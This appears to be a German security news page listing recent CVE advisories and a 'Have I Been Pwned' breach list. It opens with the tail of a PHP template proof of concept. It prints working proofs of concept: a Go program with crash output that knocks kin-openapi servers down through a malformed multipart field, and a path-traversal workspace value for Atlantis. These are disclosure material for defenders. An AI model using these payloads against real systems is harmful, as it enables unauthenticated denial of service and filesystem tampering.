## PoC
```php
compileString($tpl);
$f = tempnam(sys_get_temp_dir(), 'volt') . '.php';
file_put_contents($f, $compiled);
include $f;
unlink($f);
```
|
||
| Risiko 7.5 / 10 CVE-2026-76905 | vor 1 Stunde(n) | |
| ### Summary A nil-pointer dereference in `openapi3filter.ConvertErrors` lets any unauthenticated client crash a server with a single HTTP request. When an application validates a `multipart/form-data` request body and renders the resulting validation error through the library-provided `ValidationErrorEncoder` / `ConvertErrors` helpers, a malformed scalar form field (e.g. a non-numeric value for an `integer` property) produces an error shape that `convertParseError` dereferences without a nil check. The handler goroutine panics, causing a denial of service. `application/json` request bodies are **not** affected — the bug is specific to `multipart/form-data`. ### Details The panic is in `convertParseError`, at [`openapi3filter/validation_error_encoder.go:119-120`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/validation_error_encoder.go#L119) (still present on `master` at the time of writing): ```go } else if innerErr.RootCause() != nil { if rootErr, ok := innerErr.Cause.(*ParseError); ok && rootErr.Kind == KindInvalidFormat && e.Parameter.In == "query" { // ❌ e.Parameter may be nil → panic ``` The comparison `e.Parameter.In == "query"` assumes `e.Parameter` is non-nil. It is reached whenever **both** of the following hold: 1. **`e.Parameter == nil`.** A `*RequestError` carries *either* `Parameter` (parameter errors) *or* `RequestBody` (body errors), never both. `ValidateRequestBody` builds body errors with only `RequestBody` set, leaving `Parameter` nil — see [`validate_request.go:326-332`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/validate_request.go#L326). 2. **`innerErr.Cause` is itself a `*ParseError`** (a `ParseError` nested inside a `ParseError`), so the type assertion on line 119 succeeds and execution reaches the `e.Parameter.In` dereference on line 120. The only default code path that satisfies *both* conditions is the **multipart** body decoder, which wraps a failed part's `*ParseError` inside another `*ParseError` at [`req_resp_decoder.go:1549`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L1549) and [`:1558`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L1558): ```go if v, ok := err.(*ParseError); ok { return nil, &ParseError{path: []any{name}, Cause: v} // v is a *ParseError → nested } ``` Why other paths do **not** reach the dereference: | Body content type | Failure mode | `RequestError.Err` shape | `.Cause` is `*ParseError`? | `e.Parameter` | Panics? | |---|---|---|---|---|---| | **`multipart/form-data`** | scalar part fails primitive parse (`age=notanumber`) | `*ParseError` wrapping a `*ParseError` | **yes** | `nil` | **YES** | | `application/json` | malformed JSON syntax | `*ParseError` whose `.Cause` is an `encoding/json` error | no (assertion fails → safe fallback branch) | `nil` | no | | `application/json` | wrong type / schema violation | `*openapi3.SchemaError` (routed to `convertSchemaError`, never reaches `convertParseError`) | n/a | `nil` | no | | styled `query` / `path` params | invalid format | `*ParseError` wrapping a `*ParseError` | yes | **set (non-nil)** | no (guard/assignment succeeds) | Note that the sibling `"path"` branch two lines above ([line 108](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/validation_error_encoder.go#L108)) already guards correctly with `e.Parameter != nil`; the `"query"` branch simply omits the same guard. **Recommended fix.** Add the missing nil guard to the condition: ```diff if rootErr, ok := innerErr.Cause.(*ParseError); ok && - rootErr.Kind == KindInvalidFormat && e.Parameter.In == "query" { + rootErr.Kind == KindInvalidFormat && e.Parameter != nil && e.Parameter.In == "query" { ``` When `e.Parameter == nil` the inner `if` is skipped and control falls through to the existing `return &ValidationError{Status: http.StatusBadRequest, Title: innerErr.Reason}` at [line 127-130](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/validation_error_encoder.go#L127) — a correct `400 Bad Request`. I verified that applying only this one-line guard stops the panic and returns `*ValidationError{Status: 400}`. Minor follow-up worth including in the same change: for the multipart nested `*ParseError`, the *outer* `ParseError.Reason` is empty, so the fallback `Title: innerErr.Reason` yields a `400` with an **empty `Title`**. The descriptive text lives in `innerErr.Error()` (e.g. `"path age: value notanumber: an invalid integer: invalid syntax"`). Prefer a non-empty fallback: ```go title := innerErr.Reason if title == "" { title = innerErr.Error() } return &ValidationError{Status: http.StatusBadRequest, Title: title} ``` ### PoC Verified against revision `98d956447b64eaa10d3570a80b3be1a2849945f1` (also reproducible on current `master`), Go 1.25.0. **1. Spec** — one operation accepting a `multipart/form-data` body with a non-string scalar (`integer`) property: ```yaml openapi: '3.0.3' info: {title: t, version: '1.0.0'} paths: /upload: post: requestBody: required: true content: multipart/form-data: schema: type: object properties: age: {type: integer} responses: '200': {description: ok} ``` **2. Program** — validate a request whose `age` part is non-numeric, then convert the error the way a typical error-rendering middleware does: ```go package main import ( "bytes" "context" "fmt" "mime/multipart" "net/http" "github.com/getkin/kin-openapi/openapi3" "github.com/getkin/kin-openapi/openapi3filter" "github.com/getkin/kin-openapi/routers/gorillamux" ) const spec = ` openapi: '3.0.3' info: {title: t, version: '1.0.0'} paths: /upload: post: requestBody: required: true content: multipart/form-data: schema: type: object properties: age: {type: integer} responses: '200': {description: ok} ` func main() { loader := openapi3.NewLoader() doc, _ := loader.LoadFromData([]byte(spec)) _ = doc.Validate(loader.Context) router, _ := gorillamux.NewRouter(doc) // multipart body: a non-numeric value for the integer property "age" var buf bytes.Buffer w := multipart.NewWriter(&buf) _ = w.WriteField("age", "notanumber") w.Close() r, _ := http.NewRequest(http.MethodPost, "/upload", &buf) r.Header.Set("Content-Type", w.FormDataContentType()) route, pp, _ := router.FindRoute(r) reqErr := openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{ Request: r, PathParams: pp, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) fmt.Printf("ValidateRequest returned: %T\n", reqErr) // *openapi3filter.RequestError // What an application's error-rendering middleware calls: _ = openapi3filter.ConvertErrors(reqErr) // panics fmt.Println("no panic (unexpected)") } ``` **3. Observed output** (`go run .`): ``` ValidateRequest returned: *openapi3filter.RequestError panic: runtime error: invalid memory address or nil pointer dereference [signal SIGSEGV: segmentation violation code=0x2 addr=0x20 pc=0x...] goroutine 1 [running]: github.com/getkin/kin-openapi/openapi3filter.convertParseError(...) .../openapi3filter/validation_error_encoder.go:120 +0x17c github.com/getkin/kin-openapi/openapi3filter.ConvertErrors(...) .../openapi3filter/validation_error_encoder.go:42 +0xec main.main() ... exit status 2 ``` The panic is at exactly `validation_error_encoder.go:120` — the unguarded `e.Parameter.In` dereference. **Control (confirms JSON is not a vector):** repeating the setup with an `application/json` body and either a malformed body (`{"age": `) or a wrong-type body (`{"age": "notanumber"}`) returns from `ConvertErrors` normally, with no panic. Only the `multipart/form-data` path crashes. In a real HTTP server, `ConvertErrors` / `ValidationErrorEncoder.Encode` runs inside the request handler, so the panic aborts the in-flight request (connection reset / 500) and, without a `recover()` in the middleware chain, is trivially repeatable. ### Impact - **Type:** Nil-pointer dereference → **unauthenticated remote denial of service**. - **Who is impacted:** any application using `github.com/getkin/kin-openapi/openapi3filter` that (1) exposes an endpoint accepting a `multipart/form-data` request body with at least one non-string scalar property (`integer` / `number` / `boolean`), **and** (2) renders validation errors through the library's own `ValidationErrorEncoder` or `ConvertErrors` helpers. These are the library's advertised error-rendering helpers, so this is a realistic default integration. - **Attack:** a single crafted, unauthenticated request (a multipart part whose value doesn't parse to the declared scalar type). No credentials, special privileges, or unusual client capabilities are required, and it is repeatable at will. - **Consequence:** the handling goroutine panics. Absent a `recover()` boundary in the application's middleware, the request is aborted; sustained requests deny service. Confidentiality and integrity are not affected. - **Not affected:** applications that only accept `application/json` bodies (verified above), applications that do not use `ConvertErrors` / `ValidationErrorEncoder` to format errors, or applications that wrap handlers in a `recover()` (which converts the crash into a handled 500 but still prevents normal error rendering). | ||
| Risiko 7.5 / 10 CVE-2026-64679 | vor 1 Stunde(n) | |
| ### Summary Atlantis versions `>= 0.19.8` and `< 0.45.0` did not consistently validate user-controlled `workspace` values before using them to construct local workspace paths. A crafted workspace value containing path traversal segments could cause Atlantis to resolve workspace paths outside the intended per-pull workspace directory. In vulnerable versions or code paths, Atlantis could create, use, or remove/recreate out-of-bounds directories with the privileges of the Atlantis process user, before Terraform rejected the invalid workspace name. The issue is fixed in Atlantis `0.45.0`. ### Details The issue is a path traversal vulnerability in Atlantis workspace handling. `workspace` values can be supplied through repository-level `atlantis.yaml` configuration accepted by the server or through authenticated API input. A value such as `../../../../../../../../tmp/f1-canary` could escape the intended Atlantis workspace root. In affected code paths, Atlantis used the resolved workspace path for local working-directory operations. For example, workspace values were joined into repo pull paths, and clone preparation paths could call directory removal/recreation operations such as `os.RemoveAll` and `os.MkdirAll` on the resolved directory. ### PoC In a local PoC using repo-level `atlantis.yaml`, the following workspace value caused Atlantis to resolve and use `/tmp/f1-canary` outside `~/.atlantis/repos/...`: ```yaml version: 3 projects: - dir: . workspace: ../../../../../../../../tmp/f1-canary ``` Atlantis logs showed the out-of-bounds directory being created and Terraform being run with `/tmp/f1-canary` as the working directory. Terraform rejected the workspace name only after Atlantis had already used the out-of-bounds path. ### Impact A user who can cause Atlantis to process a crafted `workspace` value, for example through repository-level `atlantis.yaml` configuration accepted by the server or an authenticated `/api/plan` request, may cause filesystem operations to occur outside the intended workspace boundary. Depending on the affected version, code path, deployment configuration, and filesystem permissions, this may result in unintended directory creation, deletion, or reuse, integrity impact to writable local paths, or denial of service. Containerized deployments may limit host impact, but writable mounted volumes and persistent Atlantis data paths remain relevant. | ||
| Risiko 7.5 / 10 CVE-2026-63421 | vor 1 Stunde(n) | |
| # Summary The value of `graphql.maxTake` can be bypassed by providing a negative input. This can be used to exceed the developer's intended `graphql.maxTake` value, allowing queries to return results in excess of the `graphql.maxTake` value set. # Impact This affects any project relying on `graphql.maxTake` to bound the number of items returned per query. # Patches This issue has been patched in `@keystone-6/core` version `6.5.3`. If you cannot patch, you can workaround this by restricting `take` input values in your GraphQL queries to the bounded value, or by blocking negative values. # Credit This issue was found by [Haxset's](https://haxset.com) Security Scanner and validated by their team. | ||
| Risiko 7.5 / 10 CVE-2026-61824 | vor 1 Stunde(n) | |
| ## Summary An Improper Neutralization of Input During Web Page Generation issue in the site extractor component allows an attacker-controlled attribute value to be injected into output HTML without escaping. An attacker who crafts a malicious HTML page or controls content on a matching domain can execute arbitrary scripts when a victim processes the page, resulting in Cross-Site Scripting (XSS). This affects defuddle through 0.19.0 and has been patched in version 0.19.1. ## Impact This vulnerability allows for Cross-Site Scripting (XSS) execution without needing to compromise external websites. Affected consumers include: - Obsidian Web Clipper, - web services serving the parsed output directly as HTML, and - any downstream application rendering the unsanitized HTML results ## Patch This issue has been patched in defuddle version 0.19.1. Users are encouraged to update to the latest release. | ||
Das "CVE"-Repository (eng. Common Vulnerabilities and Exposures) stellt eine Liste bekannter Schwachstellen und Sicherheitslücken in IT-Systemen unter Führung des "US-amerikanischen National Cybersecurity" zusammen und bewertet diese anhand Ihres Risikos auf einer Skala von eins bis zehn.
Gerade im Bereich von Web-Technologien und Cloud-Software werden regelmäßig Hacks und Sicherheitslücken bekannt. Die betroffenen Unternehmen erleiden in der Regel nicht nur einen Image-Schaden sondern stehen womöglich gegenüber Ihren Kunden auch in der rechtlichen Verantwortung. Das Projekt "Have I Been Pwned" sammelt seit Jahren Daten die aus Hacks oder Datenlecks öffentlich zugänglich werden und bietet einen Service um zu prüfen, ob man selbst von diesen Hacks betroffen wurde.
| 15.08.2026 - Oz Hair and Beauty | 1.988.331 Datensätze geleaked | |
| Email addresses, Geographic locations, Names, Phone numbers, Purchases In August 2026, Australian beauty retailer Oz Hair and Beauty was the target of an xpl0itrs extortion attack. The group subsequently published data allegedly obtained from the company, which included 2M unique email addresses along with names, phone numbers, geographic locations (suburb and postcode) and purchases. |
||
| 06.08.2026 - Fanlore | 144.520 Datensätze geleaked | |
| Email addresses, Names, Passwords, Usernames In August 2026, the Organization for Transformative Works (OTW) identified unauthorised access to the Fanlore wiki it operates. The breach resulted in the exposure of 145k unique email addresses along with usernames and passwords stored as either MD5 or PBKDF2 hashes. OTW self-submitted the exposed data to HIBP. |
||
| 01.08.2026 - Alcon | 218.395 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses In August 2026, the Alcon eye care company was named in a ShinyHunters "pay or leak" extortion campaign. The group subsequently published data allegedly sourced from Alcon containing 218k unique email addresses along with other largely corporate B2B contact fields, including name, phone number and physical address. |
||
| 27.07.2026 - RingCentral | 1.596.490 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses In July 2026, the cloud-based business communications platform RingCentral was the target of a ShinyHunters "pay or leak" extortion campaign. The group subsequently published data they claimed was obtained from the platform, which included 1.6M unique email addresses along with names, physical addresses and phone numbers. In their disclosure notice, RingCentral advised that the incident affected "a limited portion of RingCentral customers" and that it was communicating directly with those affected. |
||
| 21.07.2026 - SplitVPN | 865.336 Datensätze geleaked | |
| Device information, Email addresses, Geographic locations, IP addresses, Partial credit card data In July 2026, the Russian VPN service SplitVPN (previously known as NotVPN) suffered a data breach. The incident exposed millions of customer records, including 865k unique email addresses. Other impacted data included IP addresses, the user's country, and partial payment card data (first 6 and last 4 digits plus expiry date). |
||
| 15.07.2026 - Exact Sciences | 10.869.543 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Names, Personal health data, Phone numbers, Physical addresses In July 2026, Exact Sciences (now owned by Abbott Laboratories) was the target of a ShinyHunters "pay or leak" extortion campaign. The group claimed to have obtained data from the company's cancer diagnostics business, which they later published publicly. The breach contained 10.9M unique email addresses belonging to customers, patients and healthcare providers, along with names, addresses, phone numbers and health records. Abbott subsequently published a public notice advising that "some of the impacted files contain personal information and/or personal health information" and that more specific information would follow once their review of the incident was complete. For context, Exact Sciences is the maker of the Cologuard at-home colorectal cancer screening test. |
||
| 13.07.2026 - Brinks Home | 732.162 Datensätze geleaked | |
| Dates of birth, Email addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases In July 2026, Brinks Home was targeted in a ShinyHunters "pay or leak" extortion campaign. The group subsequently published data they alleged was taken from the company, including 732k unique email addresses and other personal information relating to leads, customers and Brinks staff such as name, phone numbers and physical addresses. The data also included purchases from Brinks along with partial credit card data (last 4 digits, card type and expiry). In Brinks' disclosure notice, they acknowledged the incident and risk of disclosure, and advised that they would notify impacted parties "consistent with applicable law". |
||
| 01.07.2026 - Fluke | 821.100 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Physical addresses, Support tickets In July 2026, electronic test and measurement equipment company Fluke was targeted in a ShinyHunters "pay or leak" extortion campaign. The group subsequently published more than 100GB of data allegedly taken from the company. The corpus contained largely corporate contact information, including over 800k unique email addresses, names, phone numbers and physical addresses. A large collection of support cases was also present. |
||
| 18.06.2026 - Inter-Con Security | 276.114 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses In June 2026, Inter-Con Security was targeted in a ShinyHunters “pay or leak” extortion campaign. The group subsequently published data it alleged was taken from the company, including 276k unique email addresses along with names, physical addresses, job titles and phone numbers. The data encompassed a combination of contacts, internal users and leads. |
||
| 18.06.2026 - Operation Endgame 4.0 | 4.348.526 Datensätze geleaked | |
| Email addresses, Passwords On 18 June 2026, the latest phase of Operation Endgame targeted the SocGholish malware operation, a prolific malware distribution network used to compromise systems and facilitate further cybercrime. Coordinated by international law enforcement agencies with support from Europol and Eurojust, the operation remediated almost 15,000 compromised websites and disrupted more than 100 servers and domains used to distribute malware. Authorities initially provided HIBP with 154k impacted email addresses and more than half a million previously unseen passwords. The following week, a further 4M email addresses and 9M passwords relating to the StealC malware operation also targeted by Operation Endgame were provided, followed by another 131k email addresses the following month, bringing the total to more than 4.3M unique email addresses. |
||
| 16.06.2026 - Houston City College | 831.642 Datensätze geleaked | |
| Academic records, Citizenship statuses, Dates of birth, Email addresses, Genders, Names, Phone numbers, Physical addresses In June 2026, Houston City College was the target of a ShinyHunters "pay or leak" extortion campaign. Data allegedly obtained from the college was later published publicly and included 832k unique email addresses along with names, addresses, phone numbers, academic records, and other personal information relating to both current students and alumni. |
||
| 15.06.2026 - Glendale Community College | 793.925 Datensätze geleaked | |
| Academic records, Dates of birth, Email addresses, Genders, Government issued IDs, Names, Phone numbers, Physical addresses In June 2026, Glendale Community College was the target of a ShinyHunters "pay or leak" extortion campaign. Data allegedly obtained from Glendale was later published online and included almost 800k unique email addresses along with various other data fields, including names, addresses, phone numbers, Social Security numbers and other information relating to student enrolments. In its disclosure notice, the college advised that "the potentially impacted information may vary for each individual and may include all or just one of the above-listed types of information". |
||
| 15.06.2026 - June 2026 Stealer Logs | 56.278.397 Datensätze geleaked | |
| Email addresses, Passwords In June 2026, a collection of accumulated stealer logs from various sources was added to HIBP. The corpus comprised 56M unique email addresses across hundreds of millions of stealer log records. The data also contained 124M unique passwords, which have been added to Pwned Passwords and are now searchable. Individuals can view any records captured against their email address in the stealer logs section of their dashboard. Organisations can see logs affecting their domain via the stealer logs API. |
||
| 15.06.2026 - Moody Bible Institute | 2.303.416 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Marital statuses, Names, Phone numbers, Physical addresses In June 2026, Moody Bible Institute was targeted by a ShinyHunters "pay or leak" extortion campaign. Over 2.3M unique email addresses and other personal data were later published publicly, including names, physical addresses, phone numbers, dates of birth and other information relating to donors, supporters, students and alumni. In their disclosure notice, Moody advised that they had "engaged both internal and external cybersecurity experts to thoroughly investigate the matter". |
||
| 15.06.2026 - Sysco | 2.691.852 Datensätze geleaked | |
| Customer feedback, Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Usernames In June 2026, the food distribution company Sysco was targeted by a ShinyHunters "pay or leak" extortion campaign. Data was subsequently published containing 2.7M unique email addresses belonging to staff and customers. The data also contained largely corporate contact information including names, phone numbers, physical addresses, internal job titles, and customer feedback. |
||
| 12.06.2026 - American Tower | 216.601 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses In June 2026, telecommunications tower infrastructure company American Tower was the target of a ShinyHunters "pay or leak" extortion campaign. The group subsequently published data allegedly taken from the company containing more than 200k unique email addresses belonging to employees, contractors, customers, and leads. Exposed data also included names, addresses, and phone numbers. |
||
| 12.06.2026 - JCPenney | 368.418 Datensätze geleaked | |
| Dates of birth, Email addresses, Government issued IDs, Job titles, Names, Phone numbers, Physical addresses, Usernames In June 2026, retailer JCPenney and associated brands were targeted in a ShinyHunters "pay or leak" extortion campaign. Data allegedly obtained from JCPenney through the exploitation of a critical zero-day vulnerability in Oracle PeopleSoft was later published publicly. The exposed records indicated they primarily related to internal HR systems and impacted current and former employees. The data included 368k corporate and personal email addresses, names, dates of birth, Social Security numbers, phone numbers and home addresses. |
||
| 11.06.2026 - Ralph Lauren | 139.903 Datensätze geleaked | |
| Age groups, Email addresses, Genders, Names, Phone numbers In June 2026, fashion retailer Ralph Lauren was targeted in a ShinyHunters "pay or leak" extortion campaign. The group subsequently published hundreds of gigabytes of data they claimed was obtained from the organisation's Salesforce instance, including 140k unique email addresses along with names, phone numbers, genders and age groups. |
||
| 09.06.2026 - Goose Creek | 6.574.121 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses, Purchases In June 2026, a party claiming to have access to data from Goose Creek Candle Company sent emails to a number of the company's customers, claiming the company had a security vulnerability and suffered a data breach. The data was subsequently sent to Have I Been Pwned and contained 6.6M unique email addresses along with names, phone numbers, physical addresses, order IDs and total spent. The data appears to have been obtained from the company's Shopify instance. Goose Creek is aware of the reports but was unable to provide Have I Been Pwned with any further information at the time of publication. |
||
| 09.06.2026 - University of Nottingham | 454.635 Datensätze geleaked | |
| Academic records, Citizenship statuses, Dates of birth, Disabilities, Email addresses, Ethnicities, Genders, IP addresses, Names, Passport numbers, Phone numbers, Physical addresses, Purchases, Salutations, Usernames In June 2026, the University of Nottingham was the target of a cyber attack, later linked to a ShinyHunters "pay or leak" extortion campaign. Tens of gigabytes of data were subsequently published online and included 455k unique email addresses along with extensive personal information including names, addresses, phone numbers, ethnicities, disabilities, passport numbers and information relating to academic enrolments and fee payments. In a post about the incident, the university advised that the breach affected both "current students, and alumni". |
||
| 05.06.2026 - Madison Square Garden Sports | 9.796.738 Datensätze geleaked | |
| Customer service records, Email addresses, Names, Phone numbers, Physical addresses In June 2026, the sports and entertainment company Madison Square Garden Sports was the target of a ShinyHunters "pay or leak" extortion campaign. The group later published the alleged data, which included almost 10M unique email addresses spanning staff and customers, along with extensive personal, employment and customer relationship information. |
||
| 30.05.2026 - Atlas Menu | 63.926 Datensätze geleaked | |
| Email addresses, IP addresses, Passwords, Support tickets, Usernames In May 2026, the GTA V and CS2 cheat service Atlas Menu suffered a data breach. An attacker claimed to have gained access to all Atlas systems and published the service's database to a public GitHub repository. The incident exposed 64k unique email addresses along with usernames, IP addresses, support tickets and passwords stored as bcrypt hashes. |
||
| 29.05.2026 - BCD Travel | 396.313 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Support tickets In May 2026, the corporate travel management company BCD Travel was claimed as a victim of the ShinyHunters "pay or leak" extortion campaign. Data allegedly obtained from BCD was subsequently published publicly in early June and contained 396k unique email addresses. Other exposed data included names, addresses, phone numbers, job titles and employer names, spanning a variety of different data sets including leads, internal staff and support tickets. |
||
| 23.05.2026 - Baker Distributing | 102.935 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses, Support tickets In May 2026, the HVAC/R wholesale distributor Baker Distributing Company was added to the ShinyHunters data extortion group's "pay or leak" site. In early June, the group publicly published data they claimed had been obtained from Baker's SharePoint and Salesforce infrastructure including 103k unique email addresses along with names, physical addresses, phone numbers and tickets relating to the company's HVAC contractor customer base. The exposed data was largely corporate contact and support information with limited sensitivity. |
||
| 23.05.2026 - Charter | 4.851.517 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses In May 2026, the telecommunications company Charter Communications (the parent company behind the consumer broadband and cable brand Spectrum) was named by the ShinyHunters group in a "pay or leak" extortion campaign. The group later published the data, which exposed 4.9M unique email addresses along with names, phone numbers and physical addresses. A subset of approximately 85k records originating from an internal employee directory also included job titles. Charter confirmed the incident, but stated that no sensitive personal information or customer proprietary network information (CPNI) was exfiltrated. |
||
| 23.05.2026 - DentaQuest | 2.553.599 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Government issued IDs, Health insurance information, Names, Phone numbers, Physical addresses In May 2026, the dental benefits administrator DentaQuest was the target of a ShinyHunters "pay or leak" extortion campaign that resulted in the group publicly publishing hundreds of gigabytes of data allegedly obtained from the company. The data included 2.6M unique email addresses along with names, addresses and phone numbers. Much of the data appeared in healthcare enrollment files (ASC X12 transaction sets) with some containing Medicaid IDs, while additional data appeared in member records and related files. DentaQuest acknowledged "a cybersecurity incident involving unauthorized access to a limited portion of our network", and advised they had contained the attack and mitigated the threat. |
||
| 05.05.2026 - Cushman & Wakefield | 310.431 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses, Salutations In May 2026, the real estate services firm Cushman & Wakefield was the target of a "pay or leak" extortion campaign by the ShinyHunters group. Following the threat, the group publicly published data they alleged had been obtained from the firm, consisting mostly of C&W email addresses along with tens of thousands of external email addresses and corporate contact records. The exposed data was primarily business information, including names, job titles, company addresses and phone numbers. |
||
| 30.04.2026 - Reborn Gaming | 126 Datensätze geleaked | |
| Email addresses, IP addresses In April 2026, the gaming community Reborn Gaming suffered a data breach due to a vulnerability in cPanel and WebHost Manager (WHM). The breach exposed 126 unique email addresses along with IP addresses and Steam IDs. Reborn Gaming self-submitted the data to Have I Been Pwned. |
||
| 28.04.2026 - Vimeo | 119.167 Datensätze geleaked | |
| Email addresses, Names In April 2026, the ShinyHunters extortion group listed Vimeo on their extortion portal as part of their "pay or leak" campaign. They subsequently published hundreds of gigabytes of data, predominantly consisting of video titles, technical data and metadata. The data also included 119k unique email addresses, sometimes accompanied by names. Vimeo attributed the exposure to a breach of Anodot, a third-party analytics vendor, and advised the incident does not include "Vimeo video content, valid user login credentials, or payment card information". |
||
| 26.04.2026 - CTT | 468.124 Datensätze geleaked | |
| Email addresses, Names, Phone numbers In April 2026, data allegedly obtained from CTT, Portugal's national postal service, was posted to a public hacking forum. The data included 468k unique email addresses along with names, phone numbers and parcel tracking numbers which can be used to retrieve the tracking history of the parcel. |
||
| 24.04.2026 - Udemy | 1.401.259 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Payment methods, Phone numbers, Physical addresses In April 2026, online training company Udemy was the victim of a “pay or leak” extortion attempt perpetrated by the ShinyHunters group. The data was subsequently leaked publicly and contained 1.4M unique email addresses belonging to customers and instructors. The data also included names, physical addresses, phone numbers, employer information and instructor payout methods including PayPal, cheque and bank transfer. |
||
| 20.04.2026 - ADT | 5.488.888 Datensätze geleaked | |
| Dates of birth, Email addresses, Names, Partial government issued IDs, Phone numbers, Physical addresses In April 2026, home security firm ADT confirmed a data breach by ShinyHunters, which listed the company on its website as part of a "pay or leak" extortion attempt. The breach impacted 5.5M unique email addresses along with names, phone numbers and physical addresses. ADT also advised that "in a small percentage of cases, dates of birth and the last four digits of Social Security numbers or Tax IDs were included" and that it had contacted all affected people. |
||
| 20.04.2026 - Aman | 215.563 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Language preferences, Names, Nationalities, Phone numbers, Physical addresses, Spouses names, VIP statuses In April 2026, the ultra-luxury hotel brand Aman was named by ShinyHunters as the target of a "pay or leak" extortion campaign, with the data allegedly obtained from their Salesforce CRM. The data was subsequently leaked publicly and contained over 200k unique email addresses. Whilst not present on all records, the data also included genders, physical addresses, phone numbers, nationalities, dates of birth, spouse names and VIP status codes. |
||
| 20.04.2026 - Canada Life | 237.810 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses, Salutations, Support tickets In April 2026, Canada Life was the victim of a "pay or leak" extortion campaign by the ShinyHunters group. The group subsequently published the data which contained over 200k unique email addresses along with names, phone numbers, physical addresses and, in some cases, customer support tickets. In their disclosure notice, Canada Life advised that "it is a small proportion of our customers who may have been impacted". In the wake of the incident, Canada Life also published an alert cautioning customers to be wary of phishing attacks, a pattern often seen after the public release of breached data. |
||
| 20.04.2026 - Pitney Bowes | 8.243.989 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses In April 2026, the hacking collective ShinyHunters claimed to have obtained data from Pitney Bowes as part of a broader extortion campaign that also named several other organisations. After negotiations allegedly failed, the group publicly released the data which included 8.2M unique email addresses, along with names, phone numbers and physical addresses. A subset of the data also included Pitney Bowes employee records with job titles. |
||
| 18.04.2026 - Carnival | 7.531.359 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Geographic locations, Loyalty program details, Names, Salutations In April 2026, the notorious hacking collective ShinyHunters claimed they had obtained a substantial volume of data belonging to the Carnival cruise operator and attempted to extort the organisation to prevent the data from being leaked. The following week, the group published the data publicly, which contained 8.7M records with 7.5M unique email addresses. The data contained fields indicating it related to the Mariner Society loyalty program run by Holland America, a cruise line brand under Carnival, and included names, dates of birth, genders and data relating to status within the loyalty program. Carnival acknowledged a phishing incident involving a single user account and advised they were working to better understand the scope of the unauthorised activity. |
||
| 15.04.2026 - Kemper | 269.299 Datensätze geleaked | |
| Email addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases In April 2026, the American insurance holding company Kemper Corporation was named by the ShinyHunters ransomware group in a "pay or leak" extortion campaign. The attackers allegedly accessed Kemper's Salesforce environment via social engineering as part of a broader campaign targeting hundreds of organisations using the same method. The group later published tens of gigabytes of data they claimed included internal directory data, Salesforce records and Stripe payment logs. Among the 269k unique email addresses were names, phone numbers, physical addresses and partial payment card data including the last 4 digits, expiry dates and card brands. Kemper confirmed the incident and stated they had engaged third-party cybersecurity experts and notified law enforcement. |
||
| 15.04.2026 - Zara | 197.376 Datensätze geleaked | |
| Email addresses, Geographic locations, Purchases, Support tickets In April 2026, the fashion brand Zara was among a number of organisations targeted by the ShinyHunters extortion group as part of their "pay or leak" campaign. The group claimed the breach was related to a compromise of the Anodot analytics platform and subsequently published a terabyte of data allegedly including 95M support ticket records. The data contained 197k unique email addresses alongside product SKUs, order IDs and the market the support ticket originated in. Zara's parent company Inditex advised that the incident didn't affect passwords or payment information. |
||
| 14.04.2026 - Abrigo | 711.099 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses In April 2026, the fintech software company Abrigo was targeted in a "pay or leak" extortion attempt by the ShinyHunters group. Shortly after, data allegedly taken from the company's Salesforce instance was published publicly and contained over 700k unique email addresses belonging to both Abrigo staff and external contacts. Whilst separate from Abrigo's Salesforce compromise via the Drift application connector the previous year, the data fields described in that incident are consistent with the ShinyHunters data, namely that it was "business contact information" including "institution name, employee name, email addresses, and phone numbers". |
||
| 12.04.2026 - Marcus & Millichap | 1.837.078 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses In April 2026, the commercial real estate brokerage firm Marcus & Millichap was named as one of multiple alleged victims of the ShinyHunters hacking and extortion group. Data alleged to have been obtained from the company was subsequently released publicly and included 1.8M unique email addresses, along with names, phone numbers and employment-related information including employer, job title and physical company address. In their disclosure notice, Marcus & Millichap advised that data which may have been accessed appeared limited to "company forms, templates, marketing materials, and general contact information". |
||